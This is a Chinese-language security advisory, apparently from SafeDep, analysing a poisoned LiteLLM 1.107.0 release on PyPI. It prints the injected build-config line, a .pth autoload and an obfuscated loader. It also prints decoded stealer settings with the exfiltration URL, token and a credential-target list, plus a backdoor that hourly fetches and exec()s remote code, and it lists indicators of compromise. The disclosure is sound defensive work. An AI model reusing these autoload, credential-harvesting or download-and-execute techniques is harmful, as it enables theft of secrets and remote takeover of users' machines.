Hacker News AI · 2026/10/21 22:00:26
LiteLLM 1.107.0 遭供应链投毒 植入窃密后门
PyPI 上的 LiteLLM 1.107.0 版本被植入凭证窃取器与远程代码执行后门,影响所有平台。恶意代码在 Python 启动时自动运行,即使未导入该库也会触发,已导致 SSH 密钥、云凭证及 LLM API 密钥泄露。官方已移除该版本,建议立即回退至安全版本并轮换密钥。
报道全文原始报道全文
本文目录18 个章节
Kunal Singh • 2026年10月21日 • 阅读时长约 6 分钟
本页内容
PyPI 上发布的 LiteLLM 1.107.0 版本包含一个凭证窃取器和一个远程代码执行(RCE)后门。所有七个 wheel 包(涵盖 Linux、macOS 和 Windows 平台)都会将这三个文件安装到 site-packages 目录中。只要主机上启动任何 Python 进程,即使该进程从未导入 litellm,这些恶意代码也会运行。上游 GitHub 源代码中并不包含这些文件。PyPI 随后已移除该发布版本。
版本 1.106.2、1.107.0rc1 和 1.107.0rc2 是干净的。1.107.0 所依赖的配套包 litellm-proxy-extras==0.4.110 和 litellm-enterprise==0.1.78 也是干净的。
攻击行为详解
安装 litellm==1.107.0 会在 site-packages 中放置三个文件。Python 每次启动时都会加载其中的两个。
cook.pth会导入cook.py,这是一个凭证窃取器。它会收集 SSH 密钥、云凭证、CI/CD 机密、AI 工具令牌、浏览器密码以及 LiteLLM 代理数据库中的 LLM 提供商密钥。它会对数据进行加密,并将其发送至www.litellm[.]dev。sitecustomize.py会启动一个后台守护进程。该守护进程每小时从 GitHub 上的文件中读取服务器地址,再次运行窃取器,并从该服务器下载并执行代码。
植入物如何进入发布版本
1.107.0 源码分发版(sdist)中的 pyproject.toml 在 maturin 构建部分多了一行配置:
pyproject.toml (litellm-1.107.0.tar.gz) 123456
[tool.maturin]
...
python-source = "."
data = "cook" # <-- 注入项
python-packages = ["litellm_cli"] # 合法项(上游存在)TOML 6 lines
maturin 的 data = "cook" 设置会将 cook/ 文件夹复制到 wheel 包中的 litellm-1.107.0.data/purelib/ 目录下。pip 会将该文件夹安装到 site-packages 中。
sdist 中省略了 cook/ 文件夹,因此这一行配置是唯一可见的改动。在 BerriAI/litellm 的任何公开提交中,都不包含 data = "cook" 或 cook/ 文件夹。
wheel 包的 RECORD 文件列出了这三个新增文件:
litellm-1.107.0.dist-info/RECORD 1234
litellm-1.107.0.data/purelib/cook.pth 12 bytes "import cook"
litellm-1.107.0.data/purelib/cook.py 22252 bytes exec(zlib.decompress(b64decode(...)))
litellm-1.107.0.data/purelib/sitecustomize.py 25509 bytes loader/backdoor + embedded stealerTEXT 4 lines
标签 v1.107.0 指向提交 66c8f5b(UTC 时间 06)。其 pyproject.toml 文件显示版本号为 version = "1.108.0"。SafeDep 通过 blob hash 将每个 sdist 文件与 git 树进行了比对。该 sdist 匹配一个较晚的 main 分支提交 a8113b0(UTC 时间 08),外加五个被修改的文件以及 cook/ 文件夹。
其中四个被修改的文件是 Cargo.toml,它们都增加了一行 readme = "README.md"。合法的 1.106.2 和 rc2 发布版本也包含相同的修改。第五个文件是 pyproject.toml,此处将其与 a8113b0 进行对比:
pyproject.toml (a8113b0 → litellm-1.107.0.tar.gz) 1234567891011
-version = "1.108.0"
+version = "1.107.0"
- "litellm-proxy-extras==0.4.111",
- "litellm-enterprise==0.1.79",
+ "litellm-proxy-extras==0.4.110", # same pins as 1.107.0rc2
+ "litellm-enterprise==0.1.78",
+data = "cook" # the injection
...
-version = "1.108.0" # second version field
+version = "1.107.0"DIFF 11 lines
此次修改将版本号回退至 1.107.0,并将配套包锁定为 rc2 版本的值。因此,与 rc2 相比,依赖项差异中没有任何异常之处。合法的 1.106.2 sdist 与其标签提交 49943cd 完全一致,除了 Cargo.toml 中的 readme 行之外。
Wheel 包的构建方式
恶意 wheel 包与 BerriAI 正常发布流水线的输出结果相匹配:
WHEEL文件中指定了maturin1.9.4,这与合法发布版本中的版本相同。植入文件具有正确的RECORD条目,这表明构建后未进行任何编辑。- Zip 时间戳显示了独立的本地构建过程:macOS 在 UTC 时间 11,Linux 在 11,Windows 在 11。
- 在 Windows wheel 包中,所有 2,804 个
.py文件均使用 CRLF 换行符,包括三个植入文件。Linux wheel 包中没有这种情况。在 Windows 上进行带有换行符转换的 git checkout 会产生这种模式。
没有公开的 GitHub Actions 运行记录用于构建或发布该版本。SafeDep 检查了 UTC 时间 09 到 12 之间的全部 539 次运行。在 UTC 时间 11,即 PyPI 上传后约 10 分钟,litellm-dispatcher[bot] 发布了 GitHub release v1.107.0。1.106.2 也出现了同样的延迟。PyPI 上没有针对 1.107.0、1.106.2 或 rc2 的来源证明(provenance attestations)。
SafeDep 以中等至较高的置信度评估认为,BerriAI 的私有发布流水线是从被攻击者篡改的 git 源构建这些 wheel 包的。攻击者可能利用了被盗用的维护者或机器人凭据、私有分支或镜像,或是流水线所引用的构建源。相比之下,“攻击者使用其自有机器上窃取的 PyPI token”这一假设与现有证据的吻合度较低。只有 BerriAI 的流水线日志才能确认根本原因。
Payload 1:cook.py 中的凭据窃取器
在启动时,Python 会执行 site-packages 目录下每个 .pth 文件中以 import 开头的行。由于 cook.pth 包含 import cook,因此该窃取器会在主机上的每一个 Python 进程中运行:包括应用程序、pip、IDE 语言服务器以及 CI 任务。
cook.py 将约 61 KB 的 Python 代码包裹在一层 exec(zlib.decompress(base64.b64decode('...'))) 中。解码后的代码以如下配置开头:
cook.py (decoded) 12345678910
PC_URL = 'http://www.litellm.dev/healthcheck'
PC_TOKEN = 'XWiA8gZNa7NcX2XRoAEb' # sent as X-Token header
PC_PUBKEY = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...' # RSA-4096
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC = True # runs in a daemon thread
PC_MODULES = ['sysinfo','netinfo','browser_pw','browser_hist','ssh_keys',
'shell_hist','cloud_creds','dev_secrets','container_creds',
'cicd_secrets','ai_devtools','env_vars','db_litellm',
'cloud_metadata','gpg_keys','tls_privkey']PYTHON 10 lines
它收集哪些数据
| 模块 | 目标 |
|---|---|
sysinfo, netinfo | 主机名、用户、操作系统、IP 地址、网络设置 |
browser_pw | Chromium 保存的密码(使用配置文件主密钥解密,Windows 上为 DPAPI);Firefox 的 logins.json 和 key4.db |
browser_hist | 浏览器历史记录 |
ssh_keys | ~/.ssh/* |
shell_hist | bash 和 zsh 历史记录、PowerShell PSReadLine、cmd 历史记录 |
cloud_creds | ~/.aws/credentials 和 config、Azure 配置文件和令牌、gcloud 凭据、~/.kube/config、~/.docker/config.json、gh 的 hosts.yml、rclone.conf、~/.netrc |
dev_secrets | $HOME 下的 .pem、.key、.pfx、.p12、.pk8、.ppk 文件、Composer 的 auth.json、FileZilla 保存的服务器信息 |
container_creds | Kubernetes 服务账户令牌 |
cicd_secrets | GitLab runner 的 config.toml、Jenkins 的 initialAdminPassword 和 master.key、.vault-token、Terraform 的 credentials.tfrc.json、Packer 配置 |
ai_devtools | Claude Code、Claude Desktop、Cursor、Windsurf、Copilot、VS Code 的 mcp.json、Gemini CLI、Codex 的 auth.json、Continue、Aider、Goose、opencode、Qwen、Crush、Kiro、Zed、Hugging Face 令牌 |
env_vars | 自身环境变量以及其他进程通过 /proc/<pid>/environ 暴露的环境变量 |
db_litellm | 读取 DATABASE_URL 并导出 LiteLLM_CredentialsTable 和 LiteLLM_ProxyModelTable 表,这些表存储了 LiteLLM 代理的 LLM 提供商 API 密钥 |
cloud_metadata | AWS 实例元数据服务(IMDSv2,随后尝试 v1):实例身份和角色凭据 |
gpg_keys, tls_privkey | GPG 密钥、TLS 私钥 |
数据发送方式
- 使用随机生成的 AES-256-CBC 密钥加密 JSON 结果,并使用嵌入的公钥通过 RSA-OAEP 加密该密钥。
- 将结果打包成 tar.gz 格式(包含
hdr.json、data.bin、key.bin),并通过 POST 请求发送到www.litellm[.]dev/healthcheck,请求头为X-Token: XWiA8gZNa7NcX2XRoAEb。 - 上传成功后,写入
/tmp/.pc_once_72129118c59f5636c0bb以确保每台主机仅收集一次数据。同时设置环境变量PRIVCOLLECT_ACTIVE=1,以避免在同一进程树中重复运行。
Payload 2:sitecustomize.py 中的后门
Python 在启动时会导入 sitecustomize,因此该文件会在每个 Python 进程中执行。
sitecustomize.py 12345
GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH = "/codepy"
LOOP_INTERVAL = 3600
LOCK_FILE = "/tmp/remote_code_loader.lock"PYTHON 5 lines
-
它对
/tmp/remote_code_loader.lock获取独占锁,确保每台主机仅运行一个守护进程。 -
它调用
fork()和setsid(),将标准输入和输出重定向到/dev/null,并将工作目录更改为/,从而与父进程分离。 -
每小时执行以下操作:
- 从攻击者的 GitHub 仓库读取
domain.txt,并提取第一个看起来像域名的行, - 运行其内置的窃密程序副本(该副本没有“每主机仅一次”标记),
- 下载
http://<domain>/codepy并使用exec()执行。
- 从攻击者的 GitHub 仓库读取
攻击者可以通过编辑 domain.txt 将守护进程指向新的服务器。每个受感染的主机都会执行该服务器返回的 codepy 内容。
在 UTC 时间 13,GitHub 账户 letters9813 及其仓库返回 404 错误,这发生在版本发布后约两小时。后门现在找不到服务器地址,因此不执行任何操作。在删除之前运行过该守护进程的主机可能已经接收并执行了第二阶段代码。SafeDep 无法恢复服务器地址。
时间线
所有时间均为 2026-10-21 的 UTC 时间。
| 时间 | 事件 |
|---|---|
| 06 | 创建标签 v1.107.0 提交 66c8f5b |
| 08 | 在 main 分支上提交 a8113b0,作为发布源码的基础 |
| 10 | 合法的 1.106.2 版本上传至 PyPI |
| 11 至 11 | 构建恶意 1.107.0 wheel 包 |
| 11 至 11 | 1.107.0 上传至 PyPI(全部 8 个文件) |
| 11 | litellm-dispatcher[bot] 发布 GitHub release v1.107.0 |
| 13 | 观察到:1.107.0 已从 PyPI 移除,letters9813 账户被删除 |
入侵指标 (IoC)
网络
| 指标 | 用途 |
|---|---|
www.litellm[.]dev, hxxp://www.litellm[.]dev/healthcheck | 接收窃取的数据 |
HTTP 头 X-Token: XWiA8gZNa7NcX2XRoAEb | 随每次上传发送 |
raw.githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txt | 后门在此读取其服务器地址(账户已删除) |
hxxp://<domain>/codepy | 第二阶段代码下载 |
Python 进程向 169.254.169.254 发起的请求 | 窃取 AWS 实例凭证 |
主机
| 指标 | 含义 |
|---|---|
site-packages 中的 cook.pth、cook.py、sitecustomize.py | 已安装植入体(Implant) |
/tmp/.pc_once_72129118c59f5636c0bb | 窃密程序已上传数据 |
/tmp/remote_code_loader.lock | 后门守护进程已运行 |
环境变量 PRIVCOLLECT_ACTIVE=1 | 存在于受感染进程中 |
分离式 Python 守护进程(父 PID 为 1,独立会话,工作目录为 /) | 后门循环 |
文件哈希值 (SHA-256)
| 文件 | SHA-256 |
|---|---|
litellm-1.107.0.tar.gz | 2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819 |
litellm-1.107.0-cp310-abi3-manylinux_2_28_x86_64.whl | 462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7 |
litellm-1.107.0-cp310-abi3-manylinux_2_28_aarch64.whl | 668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6 |
litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl | 1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00 |
litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whl | c2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054 |
litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl | 7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d |
litellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl | 0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a |
litellm-1.107.0-cp310-abi3-win_amd64.whl | 12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484 |
来自 wheel 包 RECORD 的植入文件:
| 文件 | SHA-256 (URL-safe base64) |
|---|---|
cook.pth | fxkWMucyBwXRVLhSBPGuVGtUOsvX6IYSKbdvUEK5K9s |
cook.py | ndCjkm-Wo364bPHuIxDZvpMTnMTr7z754u_pUxOQviU |
sitecustomize.py | NL7wT-iKydCq4EdWMLFzhoHRW5TyM6yKpG6s9ZaDBfo |
- pypi
- python
- malware
- supply-chain
- litellm
作者
Kunal Singh
safedep.io
分享
SafeDep 博客最新动态
关注以获取开源安全与工程领域的最新进展和洞察
攻击者向 hugo-paper 和 mevn-cli 的默认分支推送了伪造提交。在这两个仓库中运行 npm install 或 bun install 会下载并执行一个第二阶段脚本...
攻击者入侵了 ASOS 用于向客户发送消息的平台,并向用户手机推送了一封勒索信。以下是已确认的事实、仅属声称的内容以及客户应采取的措施。
MALFEX 包 imgdecode 包含一个原生 Windows 加载器。当从控制台加载时,它会尝试下载、解密 shellcode 并将其注入到 dllhost.exe 中。
npm 上的 [email protected] 在安装过程中运行了一个 Mini Shai-Hulud 蠕虫。维护者账户通过 GitHub Web 界面提交了该载荷,且官方发布工作流将其发布。

交付代码。
而非恶意软件。
免费开始使用本地开源工具。随后可扩展为适用于您组织的统一平台。



